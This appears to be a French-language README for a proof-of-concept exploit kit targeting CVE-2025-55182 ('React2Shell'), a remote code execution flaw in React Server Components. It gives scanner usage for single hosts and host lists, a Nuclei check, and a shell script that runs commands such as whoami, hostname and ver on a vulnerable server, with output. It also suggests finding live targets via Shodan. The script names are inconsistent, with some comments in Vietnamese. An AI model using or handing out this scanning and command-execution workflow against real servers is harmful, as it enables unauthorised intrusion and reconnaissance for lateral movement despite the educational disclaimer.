
Preuve de concept de l'exploit pour la vulnérabilité RCE CVE-2025-55182 (React2Shell) dans les composants serveur React. Inclut un scanner pour les hôtes vulnérables et un script shell pour l'exécution de commandes à distance. Réservé aux tests de sécurité autorisés et à des fins éducatives uniquement.
CVE-2025-55182, également connu sous le nom de React2Shell, est une grave vulnérabilité d'exécution de code à distance (RCE) affectant les React Server Components (RSC). Elle utilise le protocole Flight pour la communication entre le client et le serveur. Lorsque le client demande des données, le serveur reçoit un payload, l'analyse, ce qui peut permettre à un attaquant d'injecter des structures malveillantes ou des morceaux de code arbitraires que React accepte comme valides.
| Élément | Contenu |
|---|---|
| Niveau | Critical (CVSS 10.0) |
| Type | Unsafe Deserialization (CWE-502) |
| Méthode d'attaque | Remote, no authentication required |
| Versions affectées : | React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 et Next.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6 |
Le serveur traite le payload du client sans validation complète, permettant à un attaquant de :
L'activité d'exploitation liée à cette vulnérabilité a été détectée depuis le 5 décembre 2025. La plupart des exploitations réussies proviennent d'évaluations de groupes d'attaque. Les environnements Windows et Linux sont tous deux affectés.
Installation
pip install -r requirements.txt
Scanner un serveur vulnérable :
python3 scanner.py -u https://example.com
Entrez le chemin à scanner (ici j'utilise ma machine vulnérable http://192.168.10.1:3000)
Résultat obtenu :
╰─ python3 scanner.py -u http://192.168.10.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://192.168.10.1:3000 - Status: 303
Scanner une liste d'hôtes :
python3 scanner.py -l hosts.txt
Scanner avec plusieurs threads et enregistrer les résultats :
python3 scanner.py -l hosts.txt -t 20 -o results.json
Scanner avec des en-têtes personnalisés :
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Scanner les cibles Windows :
python3 scanner.py -u https://example.com --windows
Utiliser une méthode de détection de canal latéral sécurisée :
python3 scanner.py -u https://example.com --safe-check
Comme vous le voyez, nous rencontrons une vulnérabilité de sécurité, ce qui signifie que le serveur que nous fournissons est facilement attaquable par un attaquant.
Maintenant, nous allons utiliser Nuclei pour vérifier quelle vulnérabilité affecte le serveur ci-dessus et s'il existe un POC. Cette fonctionnalité fonctionne en envoyant des requêtes personnalisées, en minimisant les faux positifs et en prenant en charge le scan parallèle.
nuclei -t scan.yaml -u http://192.168.10.1:3000
Résultat obtenu
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.
Le système a détecté que ce serveur est vulnérable et peut être exploité par la vulnérabilité CVE-2025-55182. Et de là, vous pouvez voir qu'il s'agit d'une vulnérabilité assez dangereuse et importante pour laquelle il existe déjà de nombreux POC sur les plateformes sociales. ☺☺☺
Vous pouvez voir que ces informations suffisent à confirmer l'existence de la vulnérabilité de sécurité dans l'application ci-dessus. Pour prouver que cette application peut être exploitée pour exécuter une commande ou du code à distance, je vais commencer un PoC.
chmod +x scanner.sh
# Check xem đối phương có vulnerable ko
./datscan.sh -d example.com
# Thực thi lệnh kiểm tra user hiện tại
./datscan.sh -d example.com -c "whoami"
# With full URL
./datscan.sh -d example.com -c "uname -a"
Signification :
-d, --domain - domain/URL-c, --command - Commande à exécuter (ex: whoami, hostname,...)# Check xem tên máy
./datscan.sh -d http://192.168.10.1:3000/ -c hostname
# Xác định phiên bản hệ điều hành
./datscan.sh -d http://192.168.10.1:3000/ -c ver
# Kiểm tra command execution có hoạt động ổn định không
./datscan.sh -c "echo test"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"
C'est l'étape de reconnaissance initiale après une exploitation réussie.
Nous permet de confirmer : le RCE fonctionne, déterminer le système d'exploitation,...
Comme cette expérimentation est démontrée dans un environnement de laboratoire personnel pour éviter toute infraction légale, l'utilisation d'en-têtes HTTP pour voler des données, les sorties volumineuses ou les caractères spéciaux peuvent provoquer :
ERR_INVALID_CHAR
Les commandes courtes (par exemple : whoami, ver) sont plus fiables pour illustrer dans l'environnement de test ci-dessus.
Si vous préférez, vous pouvez utiliser Shodan pour vérifier les adresses IP directement dans l'environnement réel et suivre mon expérimentation ci-dessus pour exploiter (non recommandé).
Comme indiqué ci-dessus. Cet outil est uniquement destiné à des fins éducatives et de tests de sécurité autorisés. N'utilisez pas cet outil pour tester des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation de test.
| Signification des commandes exécutées | Contenu |
|---|
| Retourne le nom de la machine (hostname) | Utilisé pour : - identifier le système affecté - servir au mouvement latéral (dans un environnement interne) |
| Détermine la version du système d'exploitation | Important pour : - évaluer la possibilité d'exploitation ultérieure (élévation de privilèges) - choisir l'exploit approprié |
| Vérifie l'exécution de commande | Utilisé pour déboguer le payload / scanner |
| Retourne le nom d'utilisateur actuel | Dans ce cas : - l'utilisateur est ADMIN → peut avoir des privilèges élevés - Plus important que whoami dans certains cas Windows |
| Retourne le nom de la machine | Retourne le nom de la machine via une variable d'environnement |